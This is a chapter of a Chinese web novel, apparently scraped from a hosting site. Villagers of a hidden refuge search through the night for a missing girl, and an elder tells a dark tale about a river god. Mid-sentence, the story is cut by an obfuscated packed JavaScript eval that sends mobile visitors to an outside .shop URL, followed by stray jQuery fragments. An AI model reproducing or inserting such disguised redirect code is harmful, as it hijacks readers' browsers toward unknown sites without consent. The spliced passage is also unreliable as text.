文趣网 > 其他小说 > 剪月尾 > 30. 听浪
    昧旦前后,沉水河畔一片昏暗。

    光暗交织的时分,是桃源最梦幻的时候。河面雾气与天地破晓前的混沌交织在一起,揉成一片不分彼此的烟云,笼罩在这片土地上。

    与往日不同的是,昨晚听浪人的屋内灯火未熄,燃了一夜。

    往日里只住两人的小屋,此刻聚集了七八人,显得拥挤不堪,时不时还有人走出屋去,在屋前屋后徘徊着张望。

    抱夏裹着一件薄被,赤着的双脚上满是潮湿的泥泞,在一片迷蒙中,沉默地走到石潜身旁。

    “抱夏,怎么又出来了?”

    石潜说着伸出手,在她额上试了一下。

    “夜里就好了,我没事。“

    抱夏站在原地,安静地等着对方试了又试,又伸出另一只手按上自己的额头,皱着眉头反复比对。

    弥散的雾气中,她的面色显出几分苍白,带着一种小病初愈后的疲惫。

    “那也回去歇着。”石潜没摸出什么异样,但还是挥着胳膊,把她往回赶,“河边太凉了,你才刚好,不要乱折腾……回你自己屋里去。”

    “我不回。”

    抱夏看着她,嘶哑着说:“该歇息的是你,石潜阿姊,她们说你一天一夜没合过眼了。你真应当照水好好看看自己,眼里全是血丝。”

    “我没眼见到你双圆阿妹回来,如何能安心?”

    “那我就能安心了吗!”

    抱夏蓦地流下了眼泪,但很快用被角拭去。

    “我甚至到晚上才知道,还是我问出来的,没有人告诉我!”她紧紧攥着拳头:“万一她们就在桃源附近……万一我能找到她呢?宁杏阿婆走了,我什么都做不了,只能眼睁睁地看着,阿妹不见了,你们却什么都不让我做!”

    抱夏又抹了一下眼,狠狠道:“要是我本来有机会找到阿妹,但因为什么都不知道,结果没找到的话,我一辈子都不会好过的!”

    “你当时在发热……”

    石潜无奈地望着她,一时也想不出什么别的话来劝,只好叹了口气。

    “放心,毕竟是皎玉把她带走的,应该无事……”

    她口中安慰着抱夏,身体却诚实地扭开,欲盖弥彰地朝另一边走去,似是说出的话连自己也不能说服。

    转身之际,先前和老山她们说话的场景又清晰地浮现在眼前。

    ……

    七个时辰前。

    正雾卷暮色,夜倾星暗。

    因枝宁杏的逝去而忙碌了一天的桃源终于沉寂下来,唯有远离聚居处的河边,听浪人的小屋内,一盏昏暗油灯,照着六个人疲惫而凝重的脸。

    “桃源上找遍了,四周的河面上也找了三四个来回,都没有人影,酒曲她们刚回去歇下。”

    黑鹅揪着衣领扇了扇,又焦躁地放下,“夜里真是一点都看不清,河上又有雾……明早我和浮游去远点的地方再接着。”

    “我也去。”空青立马接上。

    “能去哪呢……?”

    落红呢喃着:“有人知道那孩子的来历吗?真是不该,她半字不愿说,我竟真的再没问过……”

    “现在问这个有什么用?”

    黑鹅捏着眉心问道。

    “之前从未出过这样的事。”落红认真答道:“而且她是被皎玉带走的,为何只带走了她一个,又为何偏偏是她,不是你、我、或者石潜,这些你们想过没有?我想了又想,觉得可能和双圆的过往有关。”

    “嗯!落红说的有理!”

    老山开了口:“你们好好想一想,双圆这孩子平日里有什么不同的地方?还有她的过去,有谁知道没有?”

    “……”

    “她平日里沉静得很,也不常说话,但要说异常,肯定算不上。”空青摇摇头,“我从没问过。从见她的第一眼我就知道,这些事若是自己不愿说,旁人是问不出来的。”

    “我也没问过。”浮游道。

    眼见着众人纷纷摇头,黑鹅忽然道:“抱夏呢?旁人不知道,可她说不准和抱夏说过呢?”

    提到抱夏,空青愣了愣,一下站起来。

    “她还有一副药没用!本来该天黑前熬好的。”她懊恼地锤了下头:“也不知道人睡了没有……我现在去,你们先说着,我盯着她喝完药就回。”

    “你去吧。”老山肯定地点头,“若有什么事,让人去喊你就是了。”

    空青心里惦记着抱夏的发热,又想着要快些赶回来,没做什么耽搁,匆匆就出了屋。

    石潜从方才就一直沉默,被这样一打岔,却好似忽然想起来什么,面上顿时显出几分犹豫,欲言又止地看着几人。

    “你想到什么了?”落红侧头问道。

    “……”

    石潜神色有些沉重:“下面这些话,若是无用的话,就当我没说过吧。”

    另外四人都盯着她。

    “几年前,双圆刚到桃源的那天,我和黑鹅正好在岸边,是眼见着皎玉抱着她走上岸的。”

    黑鹅回想片刻:“我记得,那时候我先回去喊人了,留你在岸边搭把手。”

    “对,当时皎玉没让我搭手,但是后来安置好双圆,她临走的时候喊住我,求我帮她一件事。”

    “求?”

    落红敏感地捕捉到了不寻常。

    “对……她就是这么说的,在此之前,我从没想过自己能和她说上话。”石潜说,“可她不仅找我帮忙,还用了这样的字眼。她说,双圆醒来后一定会想方设法往琼河里跳,求我看着她,发现她要这么做的时候,拦住她。后来……”

    她把程双圆苏醒后的三次跳河举动说了。

    “还有这次也是,她当时从屋里跑出去的时候,那种给人的感觉,和那日很像。但当时我没转过来,后来才发觉不对,开始寻人的。之后的事你们都知道了,她躺在岸上,明显是从河里出来不久,累得动弹都费劲,但还是什么都不肯说,紧接着皎玉就忽然出现,把她给带走了。”

    “……”

    一席话说完,众人都沉默了。

    良久,落红先开了口。

    “我觉得,皎玉之前让你帮忙你拦人,多半是因为双圆到桃源前就跳过河。”她缓缓道:“说不定,她就是在跳河的时候被救起的。”

    “……就算当初是跳河,如今也已经在桃源过了这么久了。”

    黑鹅万分不解:“有什么想不开?这和皎玉带她走又有什么关系?难不成是皎玉发现她到桃源后还想寻死,干脆带她去了别处?”

    老山神情微变。

    “不对。”她摇头:“布心那丫头当初就是,刚来时一心寻死,那时候她还不知道桃源是什么……你们想想,皎玉那时候根本没现身。”

    “我觉得,跳河未必是为了寻死。”

    落红思索着道:“双圆不像是那种人,说不定是为了别的事。”

    “你因着什么事会跳河?”黑鹅扭头问浮游。

    “船漏水了,或者东西掉了,下去捞。”浮游说得简短。

    “还有呢?”

    “拾贝、挖渠。”

    黑鹅又问石潜:“你说呢?”

    “……叉鱼、罱泥。”石潜说:“双圆和我不一样。”

    “双圆和浮游也不一样。”黑鹅敲着案几:“问题就在这,人人都不一样,先前又没谁问过她本人,怎知她跳河为了什么?更别说去猜皎玉怎么想了。”

    “还有一种可能。”

    落红回想起很久之前的一次关于鬼神的谈话,忽然生出了某个猜测:“或许……为了祭祀?你们别忘了,皎玉可是不寻常的存在……所以我想,可能和跳河没关系,是由于双圆在河里做了什么举动,她才会——”

    “可这就又车轱辘说回去了。”

    黑鹅搓着脸,无力道:“还是那句话,老石什么都没问出来,我们压根不知道双圆干了什么,怎么猜得到为什么带走她?”

    “……”

    众人又沉默了一会。

    “黑鹅说的不错。我瞧着,咱们几个当下能想到的,也就是这些了。”

    老山面上的皱纹分毫不动,看不出什么神情,“落红去找抱夏,问问她,双圆那妮子跟她说过什么没,还有你们三个,也都忙活大半天了,眼瞧着都打蔫儿。赶紧去歇会!天亮了再起来找人。”

    另外四个人闻言站起身来,却谁都不愿意先走。

    浮游说:“听浪……”

    “今晚我和石潜听浪,你也回去,早上起来找人。”

    石潜听到这话,沉默着重新坐下。

    老人起身,挥舞着竹拐杖,把另外三人往外赶,眼见着她们在黑夜里走远了,才转过身,重新坐到石潜对面。

    “你瞧着也累狠了,待会就歇下吧。”

    “我没事。”石潜木然道。

    “有没有事,身子说了算,嘴说了不算。不过这是你自个的事,你若真不想歇,旁人逼不了。”

    老山点了她一句,倒也不多劝。

    “我留你,是有话跟你说。但你得保证,听完就当没听过,左耳进右耳出,成不?”

    “我就是把话闷死了,也绝不说。”

    “我知道,但这些话不但要闷死,听了还要当做没听过一样。”

    老山顿了顿,叹了口气。

    “罢了,我先说吧!”

    “在我小的时候,村里有个老妪,据说有一百多岁,老到什么程度?膝下儿女后代都走光了,自己还活的好好的。”

    “那时我们住在河边的,哪个没有拜过河神庙?求风调雨顺啊,无病无灾啊,还有求生子,都是去拜河神,就她偏不拜。人家跟她说高寿谢河神,买好了香请她去敬,她也硬是不肯去。我问她为什么,她就跟我讲了个故事。”

    “她说,在她十来岁的时候,正闹着饥荒,方圆十里的人基本全饿死了,剩了零丁几个,有力气的,还能到河里抓鱼吃,像她这种饿得眼前直发黑,根本没法下水的,只能靠啃草根树皮度日。”

    “那时候,她每回看到别人生火烤鱼,闻着焦肉味,她心里都想得发狂,却只敢远远躲着,连鱼刺都不敢去捡,生怕被人给吃了——吃人啊,总比吃草吃泥来得好。”

    “后来,她原本遮雨的住处被人占走了,她不敢回去,就躲进了河神庙,日日睡在河神头顶上,紧挨着房梁。有一回夜里,她又隐约闻到了焦味,那时她已经快饿死了,昏昏沉沉动不了,就对着河神的后脑勺许愿,想吃口鱼,紧接着就没知没觉了。等她再醒的时候,发现庙里的水淹了三尺高,庙门紧闭,水里全是活蹦乱跳的鱼。”

    石潜瞪着眼看着她。

    “她也不知道那时候怎么爬起来的,只记得生啃完了几条鱼,又躺了半天,才有了点力气,把庙门推开后一抬头,天还是黑的,也不知过了多久,外面也全是水,她淌水走了一段,见到远处隐约有人影。”

    “那人走路的姿势别扭极了,满面长发铺盖,看不清面容,但周身阴气直冒,瞧着就不是善类。她躲在树后,眼睁睁地看着那人随手拽出那几个烤过鱼的人的身子,就连着衣裳一起生啃,模样和她啃鱼时没有分别,吃得血肉横飞。”

    “……”

    “那人临走前,还往她这边扭头,吓得她浑身直抖,幸好他只是看了一眼,就扎进了水里。当时她看得清楚,那人扎进水里后,翻上来一条特别大的鱼尾,紧接着水就退了。”

    石潜脸色猛地变了。

    “老山!!……!”

    她一跳而起,面色异常难看,语无伦次道:“怎么、怎么可能?!她是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17905922|213014||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ……她……我们这些人都是她救的!桃源……我是说……”

    “松口气,石妮子。”

    老山了然又好笑地把她摁了回去:“我没说那个是皎玉。那老妪只跟我说,她那日瞧见的那人就是河神,和庙里两个样,庙里的那个不仅捏错了,而且错得八竿子打不着。“

    石潜猛地舒了一大口气。

    老山的笑容却淡了些,蔼然笑着看着她,轻微地摇了摇头。

    这种反应她料到了,可还是对自己即将说出口的话生出了些犹豫,只是先前的话已经说完了,覆水难收,也只好说到底。

    “她说,自从那以后,她就什么神都不拜了。”

    老人接上自己的话:“她不拜不是因为怕,是因为想明白了,所谓神鬼,就是神鬼合一,神也好,鬼也好,都是非人的另一类。说到底,他们只不过是借着人发的愿行走人世,实际上究竟在想什么,要做什么,咱们凡人压根看不透,也琢磨不通,更别提去借那些个神通,劝什么善恶了。”

    “……”

    石潜胸口起伏着,也不知是因为什么。她闷声半晌,才说:“皎玉不一样。”

    “我知道,我知道,不该这样想她。”老山磋叹着:“但不是不该往坏处想,而是压根不该想,是好是坏都不该妄自揣测。”

    “我是说,她是位好神,一直都在帮我们……是真真正正地救人性命,帮人所难……”

    “唉,石潜啊!你说的这些,我怎能不知?皎玉始建这一方桃源净土,发神通造出白雾沉水,许我们这几十个本该已死之人在里面安居,是想都不敢想的恩赐,但你要有数,她毕竟是不寻常的’那一类‘,若是要拿我们这些人用用,也是说做就做了,连招呼都不用打的,那是能随手翻云覆雨的神通——你想不想的明白?要我说,真要有那一天,也白赚了这么多好日子,不该有什么怨言,说怨说恨,那就成了不知恩报的狼心狗肺,可你必须得有个底……”

    “跟那些神鬼的比起来,咱们都是那芝麻大点的虫蚁。命运当头了,动弹不得,就只能瞪着眼看个清楚,心里清明地受着,在能活的时候,好好地活,这就是我们的法子。”

    “……”

    石潜听完沉默了半晌,低下头盯着自己的脚尖,有些嘶哑地开口:“老山,你是说双圆被带走,可能是……”

    “你应过什么来着?”老山提醒道:“左耳进右耳出!听完就忘!”

    “……”

    石潜撑着手坐在榻上,无言地捱了一会儿,感觉胸口像是压着座山,沉重无比。

    “为什么要跟我说?”她问:“为何是我?”

    “皎玉之前肯叫你帮忙,双圆也是你头一个去找的,遇到这种事,心里清明些,才更知道要干什么。”

    老山向后靠了靠,眯起了眼。

    此刻在昏黄油灯下,她的面容显出几分苍老与疲惫,不复白日里那幅精神矍铄、目光炯炯的模样。

    “桃源上提起皎玉,谁不是满心欢喜感激?我爱见你们这幅样子,无知无觉是好事,太刻意反倒容易惹得灾祸上门。可是不能所有人都无知无觉,总要有人心里头有个数。你也知道,这些话听起来不得了,只有说给能藏住事的人,才不会引出乱子来。”

    石潜:“……”

    石潜:“……我明白了,老山,我绝不会说的。”

    回忆渐渐消散。

    抱夏还裹着被子站在岸边,身影在雾里若隐若现。

    石潜回过头,才发觉自己不知不觉沿岸走了挺远。

    天色已经蒙蒙发亮了,沉水河畔还是一片寂静,蛙鸟虫鱼今日起的不比人早,也少了许多聒噪。

    那些昨晚去歇息的人有不少都早起赶了过来,桃源的四条船就拴在岸边,十几个人聚集在附近,不断地向四周张望,准备着出发去寻人。

    石潜一夜未归,晚饭早饭都没顾得上,正思虑重重地低头站着,冷不丁被人塞了一块热乎乎的芋头。

    “刚烤过的。”落红说。

    她沉默地掰开往嘴里塞,落红也不说话,又摸出了个装了清水的葫芦递给她。

    忽然,远处的抱夏站了起来。

    她一边侧耳细听,一边将薄被围在腰上,小心地走进了浅水里,试着伸出手,去驱散眼前的白雾。

    “双圆?”

    试探的一问落在河面上,没有回音,可她确信自己听到了某种不寻常的动静。

    这是曾经为了听浪而练习过的方法,从凌乱而细碎的水流声中,分辨出舟船平稳划过水面的声响,以便能第一时间得知亲人归家的消息。自从三年前她第一次搬进河边小屋,成功听到了以后,就一直做得很好,即使刚发过热,也丝毫不影响其耳力的敏锐。

    “——”

    那道近乎无声的划水声由远及近,渐渐地也被其余人捕捉到。

    河边的人不再走动张望。

    她们其中大部分人都做过听浪人,此刻纷纷像着抱夏那样,无声地贴近了白雾,专注地听着、分辨着,等待着。

    一片无声里,有小舟的轮廓静飘而来。

    石潜站在远处,她没有立刻上前,而是听出有船过来后,第一时间扭头看向听浪人的小屋。

    屋内灯火不知何时已经熄了。

    老山瘦小的身体站在门前,见到石潜望过来,冲她点了点头。

    由于白雾弥散,神色依稀辨别不清,老山站在那里,落到人眼中的就只有挺得笔直的身板,将之前的疲态一扫而空。

    那边船行到了岸边,程双圆的身影已经显现了出来,众人顿时扬起一阵欢呼的喧嚣。

    石潜见到这一幕,忽然觉得无比轻松,原本压在她心口的大山也跟着消失得无影无踪。

    她向后一倒,一屁股坐在了岸上。